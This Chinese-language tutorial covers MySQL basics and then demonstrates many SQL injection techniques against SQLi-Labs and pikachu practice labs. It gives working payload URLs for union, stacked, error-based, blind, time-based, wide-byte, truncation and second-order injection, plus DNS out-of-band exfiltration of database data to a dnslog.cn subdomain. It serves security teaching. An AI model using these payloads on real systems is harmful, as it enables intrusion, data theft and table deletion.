MySQL数据库基本知识

MySQL数据库介绍

MySQL 是最流行的关系型数据库管理系统,在 WEB 应用方面 MySQL 是最好的 RDBMS(Relational Database Management System:关系数据库管理系统)应用软件之一。

MySQL所使用的 SQL 语言是用于访问数据库的最常用标准化语言。MySQL 软件采用了双授权政策,分为社区版和商业版,由于其体积小、速度快、总体拥有成本低,尤其是开放源码这一特点,一般中小型网站的开发都选择 MySQL 作为网站数据库。由于其社区版的性能卓越,搭配PHP和Apache可组成良好的开发环境。

MySQL服务的默认端口:3306

常见的SQL语句

创建数据库

1
CREATE DATABASE database_name;

删除数据库

1
DROP DATABASE database_name;

查看数据库

1
SHOW DATABASES;

创建数据表

1
CREATE TABLE table_name(id INT(10),username VARCHAR(20) NOT NULL,password VARCHAR(128),PRIMARY(id));

查看数据表结构

1
DESC table_name;

插入数据

1
INSERT INTO table_name(username,password) VALUE('admin','admin');

查询数据

1
SELECT * FROM table_name;

更新数据

1
UPDATE table_name SET password='admin123' WHERE id='1';

删除数据

1
DELETE FROM FROM admin WHERE id='1';

MySQL相关函数与常量

  • system_user() 系统用户名

  • user() 用户名

  • current_user() 当前用户名

  • session_user() 连接数据库的用户名

  • database() 数据库名

  • version() mysql数据库版本

  • load_file() mysql读取本地文件的函数

  • @@datadir 读取数据库路径

  • @@basedir mysql安装路径

  • @@version_compile_os 操作系统版本

information_schema数据库

information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。

information_schema数据库表说明:

  • SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
  • TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
  • COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
  • STATISTICS表:提供了关于表索引的信息。是show index from schemaname.tablename的结果取之此表。
  • USER_PRIVILEGES(用户权限)表:给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。
  • SCHEMA_PRIVILEGES(方案权限)表:给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。是非标准表。
  • TABLE_PRIVILEGES(表权限)表:给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。是非标准表。
  • COLUMN_PRIVILEGES(列权限)表:给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标准表。
  • CHARACTER_SETS(字符集)表:提供了mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集取之此表。
  • COLLATIONS表:提供了关于各字符集的对照信息。
  • COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用于校对的字符集。这些列等效于SHOW COLLATION的前两个显示字段。
  • TABLE_CONSTRAINTS表:描述了存在约束的表。以及表的约束类型。
  • KEY_COLUMN_USAGE表:描述了具有约束的键列。
  • ROUTINES表:提供了关于存储子程序(存储程序和函数)的信息。此时,ROUTINES表不包含自定义函数(UDF)。名为“mysql.proc name”的列指明了对应于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。
  • VIEWS表:给出了关于数据库中的视图的信息。需要有show views权限,否则无法查看视图信息。
  • TRIGGERS表:提供了关于触发程序的信息。必须有super权限才能查看该表。

sql_mode

sql_mode是个很容易被忽视的变量,默认值是空值,在这种设置下是可以允许一些非法操作的,比如允许一些非法数据的插入。在生产环境必须将这个值设置为严格模式,所以开发、测试环境的数据库也必须要设置,这样在开发测试阶段就可以发现问题。sql_mode 常用来解决下面几类问题:

1) 通过设置sql_mode,可以完成不同严格程度的数据校验,有效地保障数据准备性。
2) 通过设置sql_mode 为宽松模式,来保证大多数sql符合标准的sql语法,这样应用在不同数据库之间进行迁移时,则不需要对业务sql 进行较大的修改。
3) 在不同数据库之间进行数据迁移之前,通过设置sql_mode 可以使MySQL 上的数据更方便地迁移到目标数据库中。

sql_mode常用值如下:

  • ONLY_FULL_GROUP_BY

    对于GROUP BY聚合操作,如果在SELECT中的列,没有在GROUP BY中出现,那么这个SQL是不合法的,因为列不在GROUP BY从句中
    
  • NO_AUTO_VALUE_ON_ZERO

    ​ 该值影响自增长列的插入。默认设置下,插入0或NULL代表生成下一个自增长值。如果用户 希望插入的值为0,而该列又是自增长的,那么这个选项就有用了。

  • STRICT_TRANS_TABLES

    ​ 在该模式下,如果一个值不能插入到一个事务表中,则中断当前的操作,对非事务表不做限制。

  • NO_ZERO_IN_DATE

    ​ 在严格模式下,不允许日期和月份为零。

  • NO_ZERO_DATE

    ​ 设置该值,mysql数据库不允许插入零日期,插入零日期会抛出错误而不是警告。

  • ERROR_FOR_DIVISION_BY_ZERO

    ​ 在INSERT或UPDATE过程中,如果数据被零除,则产生错误而非警告。如 果未给出该模式,那么数据被零除时MySQL返回NULL。

  • NO_AUTO_CREATE_USER

    ​ 禁止GRANT创建密码为空的用户。

  • NO_ENGINE_SUBSTITUTION

    ​ 如果需要的存储引擎被禁用或未编译,那么抛出错误。不设置此值时,用默认的存储引擎替代,并抛出一个异常。

  • PIPES_AS_CONCAT

    ​ 将”||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样的,也和字符串的拼接函数Concat相类似。

  • ANSI_QUOTES

    ​ 启用ANSI_QUOTES后,不能用双引号来引用字符串,因为它被解释为识别符。

sql_mode的查看:

1
2
3
4
5
-- 查看局部sql_mode
select @@sql_mode

-- 查看全局sql_mode
select @@global.sql_mode

联合查询注入

联合查询是可合并多个相似的选择查询的结果集。等同于将一个表追加到另一个表,从而实现将两个表的查询组合在一起,使用为此为UNINO或UNION ALL。

利用前提条件:页面上有回显位。

什么是回显位?

在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数据展示在页面中,这个展示数据的位置就叫回显位。

联合注入的过程

  1. 判断注入点
  2. 判断闭合类型
  3. 判断查询列数
  4. 判断回显位
  5. 获取数据库名
  6. 获取数据表名
  7. 获取字段名
  8. 获取数据

以下使用SQLi-LAB Less-1做演示,使用的数据库为MySQL。

判断注入点

在参数后面直接添加单引号,显示数据库错误信息或者页面回显不同说明存在注入点

efd00f30ca438d55b6d660f80ad2b67f.png

判断是闭合类型

http://hackrock.com:811/Less-1/?id=1' and 1=1 --+

bf4901f9e301c3f8898a08fdf9689855.png

http://hackrock.com:811/Less-1/?id=1' and 1=2 --+

6453ef15aa63127adbe9679021aa521d.png

使用'and 1=1 显示正常数据,而使用'and 1=2不显示数据,由此可以判断出该注入的闭合类型为单引号闭合

判断查询列数

order by 函数是对MySQL中查询结果按照指定字段名进行排序,除了指定字段名还可以指定字段的栏位进行排序,第一个查询字段为1,第二个为2,依次类推。

当排序的列数为3时,发现页面正常显示,说明查询列数≥3

http://hackrock.com:811/Less-1/?id=1' order by 3 --+

548836a22752bc5f1e18bd4f4f170e50.png

当排序的列数为4时,发现页面报错,说明查询列数<4,由此可以判断出查询列数为3

http://hackrock.com:811/Less-1/?id=1' order by 4 --+

8ac563257d8084d76e4949c0cc865943.png

判断回显位

UNION的作用是将两个select查询结果合并。只要让第一行查询的结果是空集,即union左边的select子句查询结果为空,那么union右边的查询结果自然就成为了第一行,打印在网页上了。

http://hackrock.com:811/Less-1/?id=-1' union select 1,2,3 --+

使union前面的语句报错,执行后面的,爆出显示位,2,3

bfba3026d7a7dde5a4a5d4dc900e3f67.png

获取数据库名

获取数据库版本:

1
http://hackrock.com:811/Less-1/?id=-1' union select 1,2,version() --+

获取当前数据库名称:

1
http://hackrock.com:811/Less-1/?id=-1' union select 1,2,database() --+

获取所有数据库名称:

1
http://hackrock.com:811/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

获取表名

获取security数据库的所有表名:

1
http://hackrock.com:811/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

获取字段名

获取security数据库的users表中的字段名(列名):

1
http://hackrock.com:811/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

获取数据

获取当前页面查询数据中的username和password字段中的所有值:

1
http://hackrock.com:811/Less-1/?id=-1' union select 1,2,group_concat('<br>',username,'~',password) from users --+

MySQL字符串连接函数:

  1. concat()函数 功能:将多个字符串连接成一个字符串。

    语法:concat(str1, str2,…)

    说明:返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。

  2. concat_ws()函数

    功能:和concat()一样,将多个字符串连接成一个字符串,但是可以一次性指定分隔符

    语法:concat_ws(separator, str1, str2, …)

    说明:第一个参数指定分隔符。需要注意的是分隔符不能为null,如果为null,则返回结果为null。

  3. group_concat()函数

    功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。

    语法:group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator ‘分隔符’] )

    说明:通过使用distinct可以排除重复值;如果希望对结果中的值进行排序,可以使用order by子句;separator是一个字符串值,缺省为一个逗号。

堆叠查询注入

Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。

堆叠注入原理

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

堆叠注入的局限性

堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。

注:Oracle数据库无法使用堆叠查询。MySQL、PostgreSQL、SQLServer可以使用堆叠查询。

堆叠注入靶场复现

sqli-labs less-39

堆叠注入——字符型——GET

源代码:

2767f275385d1378d9378e245dbd4b62.png

可以方向查询语句是没有进行过滤的,而且使用PHP的mysqli_multi_query()查询多条语句。

由此构造我们的payload:?id=1;insert into users(id,username,password) values('38','less38','hello') --+

执行完成,查看security数据库中的users数据表

3344e0ed0ac1baeca3f1d4eb2e3fa5d7.png

成功插入了一条数据。

sqli-labs less-42

报错型堆叠注入——字符型——POST

源代码(login.php):

29efdb0b77231de66c6dd60bdd526ff6.png

Password 变量在post 过程中,没有通过 mysql_real_escape_string() 函数的处理。因此在登录的时候密码选项我们可以进行 attack。

mysql_real_escape_string() 函数作用:转义 SQL 语句中使用的字符串中的特殊字符。

由此构造我们的payload:

username:任意

password:c';create table like users #

security数据库下新增了一个me表

c1bd08116ad7072d558bb9714c46a3cd.png

基于函数报错的注入

报错注入在没法用union联合查询时用,但前提还是不能过滤一些关键的函数。报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。

这里主要记录一下xpath语法错误主键重复错误

利用xpath语法错误来进行报错注入主要利用extractvalueupdatexml 两个函数。

使用条件:mysql版本>5.1.5

XPath语法错误

extractvalue()函数

正常语法:

1
extractvalue(xml_document,Xpath_string)
  • 第一个参数:xml_document是string格式,为xml文档对象的名称
  • 第二个参数:Xpath_string是xpath格式的字符串
  • 作用:从目标xml中返回包含所查询值的字符串

第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,因此可以利用。

payload结构:'and extractvalue(1,concat(0x7e,(select语句),0x7e)) --+

1
2
3
4
5
6
7
爆数据库名:'and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+

爆表名:'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) --+

爆字段名:'and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="TABLE_NAME"),0x7e)) --+

爆数据:'and extractvalue(1,concat(0x7e,(select group_concat(COLUMN_NAME) from TABLE_NAME),0x7e)) --+

updatexml()函数

正常语法:

1
updatexml(xml_document,xpath_string,new_value)
  • 第一个参数:xml_document是string格式,为xml文档对象的名称
  • 第二个参数:xpath_string是xpath格式的字符串
  • 第三个参数:new_value是string格式,替换查找到的负荷条件的数据 作用:改变文档中符合条件的节点的值

第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,因此可以利用。

payload结构:'and updatexml(1,concat(0x7e,(select语句),0x7e),1) --+

1
2
3
4
5
6
7
爆数据库名:'and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

爆表名:'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+

爆字段名:'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="TABLE_NAME"),0x7e),1) --+

爆数据:'and updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME) from TABLE_NAME),0x7e),1) --+

主键重复错误

rand():

生成0~1之间的随机数,可以给定一个随机数的种子,对于每一个给定的种子,rand()函数都会产生一系列可以复现的数字

floor():

对任意正或者负的十进制值向下取整

通常利用这两个函数的方法是floor(rand(0))*2 ,其会生成0和1两个数

group by

group by是根据一个或多个列对结果集进行分组的sql语句

报错原理:

  • 如果count(*)group by同时出现在SQL语句中,就会产生虚拟表。
  • 向虚拟表中插入数据的操作包含两个动作:检查主键是否存在;如果不存在就插入新的主键,如果存在就将该主键所对应的的count(*)的值加1。
  • 检查的主键值与插入的主键值不同的情况很少见。如果主键是函数表达式floor(rand(0)*2),主键值是伪随机数列中的元素,那么在检查主键和插入主键时产生的两个值就可能不同。
  • 由于floor(rand(0)*2)产生的值在检查虚拟表主键时与表内的主键值并不重复,因此会向虚拟表插入“新的”主键。但是,在插入时又会重新计算floor(rand(0)*2)的值,如果第二次计算的值刚好跟第一次计算的值不一样,又恰巧与表内现有的主键值重复,将导致MySQL报错。

payload结构:'and (select 1 from (select count(*),concat(0x7e,(select语句),0x7e,floor(rand(0)*2)) x from information_schema.tables group by x)a)--+

736de83719ff30ab41dcd3a546daf538.png

1
2
3
4
5
6
7
爆数据库名:'and (select 1 from (select count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2)) x from information_schema.tables group by x) a)--+

爆表名:'and (select 1 from (select count(*),concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2)) x from information_schema.tables group by x) a) --+

爆列名:'and (select 1 from (select count(*),concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name="TABLE_NAME" limit 0,1),0x7e,floor(rand(0)*2)) x from information_schema.tables group by x) a)--+

爆数据:'and (select 1 from (select count(*),concat(0x7e,(select COLUMN_NAME from TABLE_NAME limit 0,1),0x7e,floor(rand(0)*2)) x from information_schema.tables group by x) a)--+

基于布尔运算的盲注

基于布尔运算的盲注(Boolean-based blind SQL injection)是盲注的一种。

下面简单介绍一下盲注。如果攻击者想要获取信息无法直接显示在页面上,那么他可以通过返回页面的内容或响应时间的不同来获取相关信息,这种方式叫做盲注。盲注的信息获取效率不如其他类型的注入。在基于布尔运算的盲注后,应用程序仅会返回包含“True”或“False”的页面,因此,在一次完整的信息获取过程中往往需要多次进行请求和试探。

最简单的基于布尔盲注,形如and 1=1 and 1=2。如果两次请求返回的页面不一样,则表示该接口处存在注入点。

如何利用布尔盲注payload获取数据?首先要了解MySQL的字符串截取函数,它们在构造payload的过程中起着重要作用。

  • mid()函数:mid(string,start,length),从字符串string中返回一个包含length个字符的子串,子串的起始位置在start处。
  • substr()函数:substr(string,start,length),从字符串string中返回一个包含length个字符的子串,子串的起始位置在start处。
  • left()函数:left(string,length),对字符串string,从左开始取length个字符的子串。
  • right()函数:right(string,length),对字符串string,从右开始取length个字符的子串。

构造布尔盲注的payload,其核心思想是:利用截取函数将想要获取信息的字符串拆分成单个字符,然后使用二分查找法进行猜解。

测试正常回显与错误回显

在这里使用SQLi-LABS靶场第8关进行演示

正常回显

1
http://hackrock.com:811/Less-8/?id=1' and 1=1 --+

image-20211006102936406

错误回显

1
http://hackrock.com:811/Less-8/?id=1' and 1=2 --+

c6abaef7e5faca1a6342f7154f292ecc.png

猜解数据库名

判断数据库的第1个字符的ASCII是否大于100

1
http://hackrock.com:811/Less-8/?id=1' and ascii(substr(database(),1,1))>100 --+

image-20211006094959115

回显正常,说明大于100

判断是否大于120

1
http://hackrock.com:811/Less-8/?id=1' and ascii(substr(database(),1,1))>120 --+

bca1a9293491d8b26bc5d5d753f131d3.png

回显错误,说明不大于120

通过二分法以此类推,最终可以判断第一个字符的ASCII值

1
http://hackrock.com:811/Less-8/?id=1' and ascii(substr(database(),1,1))=115 --+

963d023bcf803d5370102ec74f3f3734.png

通过查找ASCII表可以判断该字符为“s”

79bb022428457989a1a33062014d1400.png

同理,其他字符也可以通过盲注得出

猜解表名

步骤同上。

payload:

1
http://hackrock.com:811/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+

猜解字段名

步骤如上。

payload:

1
http://hackrock.com:811/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))>100 --+

猜解数据

步骤如上。

payload:

1
http://hackrock.com:811/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),1,1))>65 --+

基于时间的盲注

当使用其他方法无法从数据库服务器中检索信息时,攻击者就有可能使用基于时间的盲注(Time-based blind SQL injection)进行注入。其原理是:利用MySQL中的延迟函数查看SQL语句是否可以执行,也可以理解为通过页面响应时间判断延时语句是否执行成功,进而通过推断得到一些信息。所以时间型盲注也是一种边信道攻击。

测试能否使用延时盲注

在这里使用SQLi-LABS靶场第9关进行演示

通过and 1=1 and 1=2 无法判断回显正确与错误

这时查看能否使用sleep()函数测试

测试正常数据

1
http://hackrock.com:811/Less-9/?id=1' and sleep(5) --+

image-20211006102818321

说明and前的语句执行成功,执行sleep(5),使得加载时多花了5秒时间

测试错误数据

1
http://hackrock.com:811/Less-9/?id=-1' and sleep(5) --+

e996bf3ced4f390797e770ab07d9bc86.png

说明and前的语句执行错误,就不执行sleep(5),加载时间和原来一样

通过这一特性,就可以使用布尔型盲注一样的方法去测试。

猜解数据库名

payload:

1
http://hackrock.com:811/Less-9/?id=1' and if(ascii(substr(database(),1,1))>100,sleep(5),null) --+

猜解表名

payload:

1
http://hackrock.com:811/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100,sleep(5),null) --+

猜解字段名

payload:

1
http://hackrock.com:811/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))>100,sleep(5),null) --+

猜解数据

payload:

1
http://hackrock.com:811/Less-9/?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))>65,sleep(5),null) --+

BENCHMARK()函数

在MySQL中,有一个BENCHMARK()函数,它是用于测试函数性能的。它有两个参数:

1
BENCHMARK(count,expr)

函数执行的结果,是将表达式expr执行count次。

因此,利用BENCHMARK()函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长;通过时间长短变化,可以判断出注入语句是否执行成功。

payload:

1
2
3
4
5
6
7
猜解数据库名:http://hackrock.com:811/Less-9/?id=1' and if(ascii(substr(database(),1,1))>100,BENCHMARK(10000000,MD5(1)),null) --+

猜解表名:http://hackrock.com:811/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100,BENCHMARK(10000000,MD5(1)),null) --+

猜解字段名:http://hackrock.com:811/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))>100,BENCHMARK(10000000,MD5(1)),null) --+

猜解数据:http://hackrock.com:811/Less-9/?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))>65,BENCHMARK(10000000,MD5(1)),null) --+

DNS带外通信注入

什么是带外通道技术

在渗透中,经常碰到关闭回显的漏洞,常见的XXE盲注,SQL盲注,反序列化无回显,这个时候常用到OOB带外数据通道,带外通道技术(OOB)让攻击者能够通过另一种方式来确认和利用所谓的盲目(blind)的漏洞。在这种盲目的漏洞中,攻击者无法通过恶意请求直接在响应包中看到漏洞的输出结果。带外通道技术通常需要脆弱的实体来生成带外的TCP/UDP/ICMP请求,然后,攻击者可以通过这个请求来提取数据。一次OOB攻击能够成功逃避监控,绕过防火墙且能更好的隐藏自己。

OOB利用原理

1、常规SQL注入,获取服务器信息的方式

img

2、SQL注入利用DNS获取查询结果(OOB)

我们需要一个三级域名服务器(nameserver)也是DNS服务器(DNS Server),也就是下图的schloar服务器。

还需要配置域名“www.scholar.com”对应的解析IP地址为“schloar服务器”的IP地址。

这样就能够实时地监控域名查询请求了,图示如下:

img

DNS带外注入靶场复现

实验提准备——DNSLog

打开DNSLog网站 (http://www.dnslog.cn),点击Get SubDomain得到一个子域名

d0ae8c347502f14c5927c668dfa717b4.png

发送ICMP包进行测试

1
ping cs1qjb.dnslog.cn

回到DNSLog页面,刷新记录即可得到刚才ping查询的结果

57fb30bbb46e75026e10984eeafb1517.png

实验前准备——load_file()

MySQL使用带外注入的前提数据库必须配置secure_file_priv,且当前用户拥有读写数据的权限。

查看secure_file_priv变量的值

1
show variables like '%secure%';
  • 当secure_file_priv为空,就可以读取磁盘的目录。

  • 当secure_file_priv为G:\,就可以读取G盘的文件。

  • 当secure_file_priv为null,load_file就不能加载文件。

fb1da6930b6d134621129dd36805e0ca.png

若该值为NULL,则需要在mysql的配置文件(my.ini)中设置 secure_file_priv = ''

3209f789243f97414ec5928f97478fa4.png

若当前数据库用户没有读写文件权限,可以使用GRANT语句授予权限

1
2
GRANT FILE ON *.* TO 'user'@'%';
FLUSH PRIVILEGES;

注:.指所有数据库的数据表;user为当前用户;%为所有ip地址

测试:

1
http://hackrock.com:811/Less-8/?id=1' and load_file("\\\\test.cs1qjb.dnslog.cn\\xxx.txt")--+

705994f52d3311ab0d725a7d25746092.png

新增一条查询记录,可以进行带外注入

获取数据库名

payload:

1
http://hackrock.com:811/Less-8/?id=1' and load_file(concat("\\\\",database(),".cs1qjb.dnslog.cn\\xxx.txt"))--+

de6479cb29b3eacef1c3fea89821f39c.png

获取表名

payload:

1
http://hackrock.com:811/Less-8/?id=1' and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema=database() limit 0,1),".cs1qjb.dnslog.cn\\xxx.txt"))--+

756705f2f600b14b681581c698792ac6.png

获取字段名

payload:

1
http://hackrock.com:811/Less-8/?id=1' and load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),".cs1qjb.dnslog.cn\\xxx.txt"))--+

de2a849c5c357b5090903f062a9ec218.png

获取数据

payload:

1
http://hackrock.com:811/Less-8/?id=1' and load_file(concat("\\\\",(select username from users limit 0,1),".cs1qjb.dnslog.cn\\xxx.txt"))--+

7b22f942a9dc01baf397d5397c0bc3cf.png

基于字符集的宽字节注入

宽字节注入介绍与原理

注入攻击中常常会用单引号'、双引号"等特殊字符。在应用中,开发者为了安全,经常会使用转义字符\来转义这些特殊字符。当数据库使用了“宽字符集”时,可能会产生一些意想不到的漏洞。

想要深入理解MySQL中的宽字节注入,首先要了解一些转义函数(PHP),包括addslashesmysql_real_escape_stringmysql_escape_stringmagic_quote_gpc(高版本的PHP去掉了这个函数)。转义函数可用于将MySQL注入Payload中的部分危险字符转义,使攻击者无法有效截断原语句并拼接自己想要的Payload语句,起到安全防护的作用。

宽字节是指两个字节的宽度的编码技术,例如GB2312、GBK、GB18030、BIG5等。宽字节对转义字符的影响发生在character_set_client=gbk的情况下,也就是说,如果客户端发送的数据使用的字符集是GBK,就可能会“吃掉”转义字符\,进而导致转义失败,执行攻击者构造的Payload。

若存在宽字节注入,攻击者在输入%df%27时,首先会通过前面提到的单引号转义,将其转换为%df%5c%27%5c是反斜杠\的URL编码)。在进行数据库查询之前,由于使用了GBK多字节编码(在汉字编码范围内两个字节会被编码为一个汉字),MySQL服务器会对查询语句进行GBK编码,即将%df%5c转换成汉字“”,而单引号将会“逃逸”,在使用查询语句中的单引号闭合。

宽字节注入靶场复现

在这里使用pikachu靶场的宽字节注入进行演示。

首先提交表单并使用burpsuite进行抓包

44ad00a591e2148b85cc3cf22d8009fe.png

发送到Repeater,构造payload 1%df' or 1=1 #

51a94ef6ff0f91bd17d192f75261d158.png

可以看出爆出所有用户数据。

宽字节注入是绕过转义函数的一种手段,可结合其他注入攻击方式,payload很好构造,只需是在单引号前加上%df

另外,基于字符集的攻击并不局限于SQL注入,凡是会解析数据的地方都可能存在此问题。比如在XSS攻击时,由于浏览器与服务器返回的字符编码不同,也可能会存在字符集攻击。

要解决这种问题,需要统一数据库、操作系统、Web应用所使用的字符集,以避免各层对字符的理解存在差异。统一设置为UTF-8是一个很好的方法。

超长字符截断注入

超长字符截断原理

在MySQL的配置选项中,有一个sql_mode选项。定义了mysql应该支持的sql语法,数据校验等。可以通过以下方式查看当前数据库使用的sql_mode:

1
select @@sql_mode;

img

mysql5.0版本以上支持了三种sql_mode模式,如下:

模式 说明
ANSI 宽松模式,对插入数据进行校验,如果不符合定义类型或长度,对数据类型调整或截断保存,报warning警告。
TRADITIONAL 传统模式,当向mysql数据库插入数据时,进行数据的严格校验,保证错误数据不能插入,报error错误。用于事务时,会进行事务的回滚。
STRICT_TRANS_TABLES 严格模式,进行数据的严格校验,错误数据不能插入,报error错误。

默认情况下,mysql选择使用的是严格模式,此时如果插入的数据超过限制长度,则会报错error(如果超出的长度是由空格引起的,可能只会警告warning,实际操作证明,三种模式下,如果插入的超出长度是由空格引起的,并不会报错,仅仅会警告。)。

其实这个注入姿势很难找到了,因为它需要满足以下条件:

  • 可以注册用户,而且可以注册带有空格的用户
  • 你需要知道管理员的账号

查看以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mysql> create table test(
-> id int,
-> username varchar(20),
-> password varchar(30)
-> );
Query OK, 0 rows affected (0.31 sec)

mysql> insert into test(id,username,password) values(1,"admin hello ","aaaaaaaa");
Query OK, 1 row affected, 1 warning (0.12 sec)

mysql> select id,username,password from test;
+------+----------------------+----------+
| id | username | password |
+------+----------------------+----------+
| 1 | admin | aaaaaaaa |
+------+----------------------+----------+
1 row in set (0.02 sec)

username的最大长度是20,可是我插入的明显超过20,而在使用select查询的时候,username超过的部分被截取掉了。

倘若现在有一个sql语句,它可以是完完全全的没有注入,但是如果允许空字符注册的话,那么就会导致我们今天的这个“长字符串截断注入

select id,username,password from users where username = 'admin';

假设管理员的账号就是“admin”,那么我们就去注册一个“admin ”的用户。(PS:后面有哦很多空格哦,等待被截取掉就直接替换掉admin这个账号了)危害还是很大的。

超长字符截断靶场复现

在这里使用SQLi-Labs第24关进行演示。

2003511573ceb082806180fa25fe5ab5.png

注册用户名:admin x

注册密码:123456

查看数据库,可以看到新增用户为admin,密码为123456

e476c758349289994a637ae30c247986.png

我们使用 用户名:admin,密码:123456 进行登录

e6d78a5ad298d6acc1b88e3900497836.png

成功登录

83359b1ee4f08aea03d80ad2818095a3.png

不过这里登录的其实还是第2个admin用户,所以并不能通过此用户更改原admin的密码

二次注入

二次注入原理

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

二次注入,可以概括为以下两步:

  • 第一步:插入恶意数据 进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
  • 第二步:引用恶意数据 开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

img

二次注入靶场复现

在这里使用SQLi-Labs第24关进行演示。

打开页面可以看到一个登陆界面,尝试用admin'#进行注入,失败。

img

部分源代码如下:

1
2
3
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

可以看到使用了mysql_real_escape_string进行转义处理,无法进行SQL注入。

继续研究,发现登陆页面可以进行用户注册,这里我们注册一个admin'#的账号,登陆该账号后可以进行密码修改。

e912e4b8aedd8e35cb1b73b1be333743.png

注册新用户过程中的处理代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
if (isset($_POST['submit']))
{
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);

echo "<font size='3' color='#FFFF00'>";
$sql = "select count(*) from users where username='$username'";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);

//print_r($row);
if (!$row[0]== 0)
{
?>
<script>alert("The username Already exists, Please choose a different username ")</script>;
<?php
header('refresh:1, url=new_user.php');
}
else
{
if ($pass==$re_pass)
{
# Building up the query........

$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
mysql_query($sql) or die('Error Creating your user account, : '.mysql_error());
echo "</br>";

··················

可以看到传入的usernamepasswordre_password仍均被mysql_escape_string进行了转义处理,但是在数据库中还是插入了admin'#

img

这是因为当数据写入到数据库的时候反斜杠会被移除,所以写入到数据库的内容就是原始数据,并不会在前面多了反斜杠。

这时,我们用admin'#登陆,并进行密码修改,密码修改为123456

img

